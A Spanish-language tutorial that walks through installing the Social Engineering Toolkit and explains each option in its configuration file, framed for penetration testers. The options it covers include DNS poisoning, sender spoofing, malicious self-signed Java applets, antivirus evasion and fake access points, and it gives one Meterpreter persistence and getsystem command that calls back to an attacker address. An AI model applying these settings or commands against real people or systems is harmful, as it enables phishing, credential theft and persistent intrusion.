SET es un Framework muy robusto y completo que se enfoca principalmente en la explotación del “factor humano”, diseñado específicamente para realizar ataques que siguen la filosofía de los conceptos expuestos en el Social Engineering Framework (http://www.social-engineer.org/). El objetivo de esta herramienta es de servir como punto de apoyo a un pentester que utiliza técnicas de ingeniería social, sin embargo no es un fin en si mismo, un ingeniero social debe conocer y dominar las técnicas del “hacking humano” con el objetivo de aplicarlas correctamente apoyado por herramientas con SET. Actualmente existen textos excelentes sobre el tema, sin embargo existen dos que se han convertido en un “estándar” y de lectura casi obligatoria para los ingenieros sociales, estos son:

The Art of Deception – Kevin Mitnick

– Social Engineering, The Art of the Human Hacking – Christopher Hadnagy

Se recomienda su lectura y comprensión, especialmente el segundo, el cual es una síntesis bastante bien elaborada sobre lo que es el Social Engineering Framework.

Una vez dicho lo anterior, se invita al lector que antes de comenzar a utilizar SET estudie e investigue los conceptos filosóficos, psicológicos, teóricos y prácticos del Social Engineering Framework en los libros anteriormente indicados y en el sitio web oficial (http://www.social-engineer.org/)

INSTALACIÓN Y CONFIGURACIÓN:

El proceso de instalación es sencillo, solamente es necesario realizar un checkout del repositorio SVN donde se encuentran todos los fuentes de SET para su posterior ejecución (evidentemente es necesario tener instalado SVN para realizar el procedimiento de checkout)

>svn co http://svn.secmaniac.com/social_engineering_toolkit set/

Es una buena practica actualizar la copia en local con las nuevas modificaciones del repositorio utilizando el comando

>svn up

Esto es mas que suficiente para comenzar a utilizar SET, sin embargo es necesario conocer el fichero de configuración raíz de esta herramienta que permite configurar cada detalle de su funcionamiento para activar o desactivar características especificas del mismo, dicho fichero se encuentra ubicado en config/set_config y a continuación se procede a detallar las opciones de configuración que pueden utilizarse en esta herramienta:

Propiedad

Descripción

Valor por Defecto

METASPLOIT_PATH

Indica la ruta en donde se encuentra instalado MetaSploit Framework para la ejecución de exploits y payloads.

/opt/framework3/msf3

ETTERCAP

Esta propiedad, cuando tiene el valor de “ON” es utilizada para ejecutar ataques de envenenamiento de DNS contra un conjunto de direcciones IP que se encuentran en el mismo segmento de red que el atacante (utilizando el ataque de sitio web malicioso)

OFF

ETTERCAP_DSNIFF_INTERFACE

Indica la interfaz de red que será utilizará utilizada por ETTERCAP o DNSIFF para ejecutar los ataques de envenenamiento del segmento de red.

eht0

ETTERCAP_PATH

Directorio donde se encuentra ubicada la librería de Ettercap

/usr/share/ettercap

DSNIFF

Esta propiedad realiza ataques de envenenamiento del mismo modo que Ettercap sin embargo utiliza la librería dsniff en lugar de Ettercap (utilizando el ataque de sitio web malicioso) esta propiedad y la propiedad ETTERCAP no pueden estar activadas al mismo tiempo (con valor “ON”)

OFF

SENDMAIL

SET intentará iniciar SENDMAIL para realizar Spoofing de la dirección de Email de origen, este ataque solamente funciona si el servidor SMTP de la víctima permite realizar envío de correo anónimo (sin verificación de usuario) y si el servidor no realiza consultas DNS reversas sobre el nombre de host.

OFF

WEBATTACK_EMAIL

Se utiliza cuando se quiere ejecutar un ataque de envío de correos masivo en conjunto con un ataque de sitio web malicioso.

OFF

SELF_SIGNED_APPLET

Crear applets maliciosos auto-firmados falseando la identidad del editor del applet. Es necesario tener instalado el JDK 6.0

OFF

JAVA_ID_PARAM

Identificador único del applet malicioso auto-firmado, es utilizando para que resulte más creíble al usuario final.

Secure Java Applet

JAVA_REPEATER

Si se encuentra activa, el mensaje del applet seguirá apareciendo a la víctima hasta que lo acepte (incluso en el caso de que pulse sobre cancelar)

ON

JAVA_TIME

Indica el intervalo de tiempo que transcurrirá entre la cancelación de la ejecución del applet malicioso por parte de la víctima y su reaparición (si JAVA_REPEATER se encuentra activada) el valor de 200 es igual a cada 2 segundos.

200

AUTO_DETECT

Esta propiedad permite a SET capturar de forma automática la interfaz de red utilizada para la conexión a internet y la utiliza para ejecutar conexiones reversas con las víctimas que no se encuentren en el segmento de red local (como por ejemplo internet)

ON

WEB_PORT

Indica el puerto que utilizará el servidor HTTP para servir los applets maliciosos o exploits de metasploit.

80

CUSTOM_EXE

Ruta donde se encuentra un ejecutable legitimo que será utilizado por metasploit para la generación de un fichero malicioso que ser´a posteriormente entregado a la víctima, utilizando msfvenom para la creación del payload malicioso.

legit.binary

MLITM_PORT

Puerto utilizado para enlazar el servidor Web.

80

APACHE_SERVER

Utilizar Apache Web Server en lugar de utilizar los servidores Web de Phyton. Se recomienda dado que incrementa la velocidad y la estabilidad del vector de ataque.

OFF

APACHE_DIRECTORY

Directorio de aplicaciones web del servidor apache.

/var/www/

WEBATTACK_SSL

Activa los certificados SSL para establecer comunicaciones seguras en el vector de ataque de aplicación web.

OFF

SELF_SIGNED_CERT

Crear certificados web auto-firmados utilizando SET, es necesario tener instalado OpenSSL

OFF

PEM_CLIENT

Ruta donde se ubicará el certificado privado del cliente en formato PEM

/root/newcert.pem

PEM_SERVER

Ruta donde se ubicará el certificado privado del servidor en formato PEM

/root/newreq.pem

WEBJACKING_TIME

Este tipo de ataque reemplaza el sitio web del navegador web de la víctima con otra ventana (iframe) que aparenta ser el sitio web legitimo, este ataque depende del tiempo, por defecto son 2 segundos.

2000

COMMAND_CENTER_PORT

Propiedad encargada de establecer el puerto central donde se recibirán las conexiones reversas de la ejecución exitosa de exploits en la maquina de la víctima.

44444

COMMAND_CENTER_INTERFACE

Dirección donde se recibirán los las conexiones reversas de la ejecución exitosa de exploits en la maquina de la víctima. Para activar esta opción establecer el valor de 0.0.0.0

127.0.0.1

ENCOUNT

Indica cuantas veces se debe codificar un payload utilizando las opciones estándar de metasploit framework

4

TERMINAL

Indica el tipo de terminal o consola que se abrirá ante la ejecución exitosa de un exploit y el establecimiento de una conexión reversa entre la victima y el atacante, los valores son: GNOME, KONSOLE, XTERM, SOLO, Cuando se utiliza SOLO se utiliza la misma interfaz utilizada para abrir la interfaz WEB de Set, todos los resultados irán en la misma consola (shell) lo que es bastante util si se utiliza algo que solamente tiene una unica consola, como por ejemplo un IPHONE.

SOLO

AUTO_MIGRATE

Si esta establecida esta opción los payloads exitosos automáticamente migrarán al proceso de Notepad una vez sean ejecutados, muy útil si por ejemplo la víctima cierra el navegador.

OFF

DIGITAL_SIGNATURE_STEAL

Activa el vector de ataque de robo de firma digital, es necesario tener los modulos de Python PEFILE instalados y cargados (http://code.google.com/p/pefile/) de otro modo este ataque fallará. Como beneficio puede decirse que permite una evasión de AV mucho mas limpia y exitosa

OFF

UPX_ENCODE

Activa el empaquetador UPX y automáticamente empaqueta el ejecutable malicioso para intentar evadir AV mucho mejor.

ON

UPX_PATH

Ruta donde se encuentra instalado UPX, evidentemente necesita estar instalado, en el caso de que se trate de maquinas basadas en debian simplemente ejecutando el comando:

apt-get install upx

Será más que suficiente.

/usr/bin/upx

METERPRETER_MULTI_SCRIPT

Permite la ejecucón de multiples Scripts meterpreter una vez una sesión Meterpreter se activa

OFF

METERPRETER_MULTI_COMMANDS

Scripts Meterpreter que se van a ejecutar una vez se consiga una sesión meterpreter, cada comando se encuentra separado por “;” y es necesario que este activada la opción:
METERPRETER_MULTI_SCRIPT

persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem

METASPLOIT_IFRAME_PORT

Puerto utilizado para la inyección de IFRAMES usando los ataques de navegador de MetaSploit

8080

AUTO_REDIRECT

Activa o desactiva la redirección automática, por defecto una vez un ataque web ha sido exitoso la víctima es redirigida al sitio legitimo.

ON

UNC_EMBED

Automáticamente embeberá un ta IMG SRC a una ruta UNC de la maquina del atacante, de este modo tan pronto como el objetivo se convierta en víctima el UNC será inicializado y Metasploit utilizará el modulo SMB que interceptará los valores del hash de claves.

OFF

ACCESS_POINT_SSID

Propiedad utilizada para crear un “fake” access point, este valor establece el SSID del AP.

linksys

AIRBASE_NG_PATH

Ruta donde se encuentra instalado airbase-ng

/usr/local/sbin/airbase-ng

DNSSPOOF_PATH

Ruta donde se encuentra instalado dnsspoof

/usr/local/sbin/dnsspoof

EMAIL_PROVIDER

Proveedor de Email, los valores aceptados son: GMAIL, YAHOO y HOTMAIL

GMAIL

AP_CHANNEL

Canal donde se encontrará el AP inalámbrico falso

9

SET_INTERACTIVE_SHELL

Remueve la Shell interactiva de SET desde la selección del menú.

ON

Estas son todas las opciones de configuración existentes a la fecha redacción de este documento, es muy importante entenderlas para poder sacar el máximo partido a SET.

Las próximas entradas serán mucho mas practicas y se enfocará exclusivamente en los métodos de ataque disponibles en SET.